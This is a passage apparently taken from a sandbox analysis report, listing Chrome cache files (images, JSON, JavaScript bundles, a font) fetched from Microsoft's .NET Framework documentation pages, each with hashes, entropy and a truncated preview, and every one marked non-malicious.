File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
